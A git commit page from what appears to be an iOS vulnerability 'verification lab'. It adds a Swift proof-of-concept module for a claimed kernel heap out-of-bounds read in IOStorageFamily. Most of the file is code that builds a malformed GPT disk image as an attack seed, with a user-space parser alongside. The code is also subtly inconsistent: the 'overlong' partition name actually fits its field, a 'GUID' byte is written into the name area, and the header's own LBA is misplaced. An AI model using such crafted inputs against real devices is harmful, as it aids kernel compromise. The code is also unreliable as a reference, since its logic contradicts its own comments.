Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
jbjf6666 committed
commit
1ea76ab005
89 files changed
+16485
No files matched your search
@@ -0,0 +1,128 @@
|
||||
// kext.gpt · IOStorageFamily · CVE-2026-112554
|
||||
// 原语: OOB 读 · 内核 · tier 2
|
||||
// Primitive: OOB read · kernel · tier 2
|
||||
//
|
||||
// [zh] GPT 分区名扫描 72 字节内核堆越界读
|
||||
// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节，而 GPT 条目内的名字域仅 36 个 UTF-16 单元；27.0 的扫描因此越过条目尾，读入相邻内核堆。
|
||||
//
|
||||
// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read
|
||||
// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the
|
||||
// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail
|
||||
// and into adjacent kernel heap.
|
||||
// ── 判别 / oracle ──
|
||||
// 应用侧无法 attach 磁盘镜像，故本模块做两件事：构造会使 27.0 越界的镜像，并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧，不在用户态。
|
||||
|
||||
import Foundation
|
||||
|
||||
// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。
|
||||
// identity localization shim — the app routes this through RuntimeText.
|
||||
func tl(_ s: String) -> String { s }
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
static func be32(_ v: UInt32) -> [UInt8] {
|
||||
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
||||
}
|
||||
static func le32(_ v: UInt32) -> [UInt8] {
|
||||
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
||||
}
|
||||
static func be64(_ v: UInt64) -> [UInt8] {
|
||||
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
||||
}
|
||||
static func le64(_ v: UInt64) -> [UInt8] {
|
||||
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
||||
}
|
||||
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
||||
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ──
|
||||
enum GPTPayload {
|
||||
static func describe(_ image: Data) -> [String] {
|
||||
var lines: [String] = []
|
||||
guard image.count >= 1024 else { return [tl("镜像过短")] }
|
||||
let sig = [UInt8](image[512..<520])
|
||||
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
|
||||
return [tl("无 GPT 签名")]
|
||||
}
|
||||
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
|
||||
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
|
||||
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
|
||||
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
|
||||
let base = Int(entryLBA) * 512
|
||||
for i in 0..<Int(entryCount) {
|
||||
let off = base + i * Int(entrySize)
|
||||
guard off + 128 <= image.count else { break }
|
||||
var units: [UInt16] = []
|
||||
for k in 0..<36 {
|
||||
let lo = UInt16(image[off + 56 + k * 2])
|
||||
let hi = UInt16(image[off + 56 + k * 2 + 1])
|
||||
let unit = lo | (hi << 8)
|
||||
if unit == 0 { break }
|
||||
units.append(unit)
|
||||
}
|
||||
let name = String(decoding: units, as: UTF16.self)
|
||||
if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") }
|
||||
}
|
||||
return lines
|
||||
}
|
||||
|
||||
static func oversizedName(entryCount: Int = 4) -> Data {
|
||||
let sector = 512
|
||||
var out = Data()
|
||||
|
||||
// protective MBR
|
||||
var mbr = [UInt8](repeating: 0, count: sector)
|
||||
mbr[446 + 4] = 0xEE
|
||||
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
|
||||
mbr[446 + 8] = 0x01
|
||||
let totalSectors: UInt32 = 34
|
||||
mbr[446 + 12] = UInt8(totalSectors & 0xff)
|
||||
mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
|
||||
mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
|
||||
mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
|
||||
mbr[510] = 0x55; mbr[511] = 0xAA
|
||||
out.append(contentsOf: mbr)
|
||||
|
||||
// primary GPT header
|
||||
var hdr = [UInt8](repeating: 0, count: sector)
|
||||
hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
|
||||
hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
|
||||
hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
|
||||
let headerSize: UInt32 = 92
|
||||
hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
|
||||
hdr[24] = 2 // my LBA
|
||||
hdr[32] = 33 // alternate LBA
|
||||
hdr[40] = 2 // first usable
|
||||
hdr[48] = 32 // last usable
|
||||
hdr[72] = 2 // entry array LBA
|
||||
let entries: UInt32 = UInt32(entryCount)
|
||||
hdr[80] = UInt8(entries & 0xff)
|
||||
hdr[84] = 128 // entry size
|
||||
out.append(contentsOf: hdr)
|
||||
|
||||
// partition entries
|
||||
var array = Data()
|
||||
for i in 0..<entryCount {
|
||||
var entry = [UInt8](repeating: 0, count: 128)
|
||||
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
|
||||
entry[56] = UInt8(i + 1) // unique partition GUID byte
|
||||
// name field at +56..+128 is 36 UTF-16 code units; declare a long run
|
||||
let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
|
||||
for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
|
||||
entry[56 + k * 2] = UInt8(unit & 0xff)
|
||||
entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
|
||||
}
|
||||
array.append(contentsOf: entry)
|
||||
}
|
||||
out.append(array)
|
||||
while out.count % sector != 0 { out.append(0) }
|
||||
return out
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user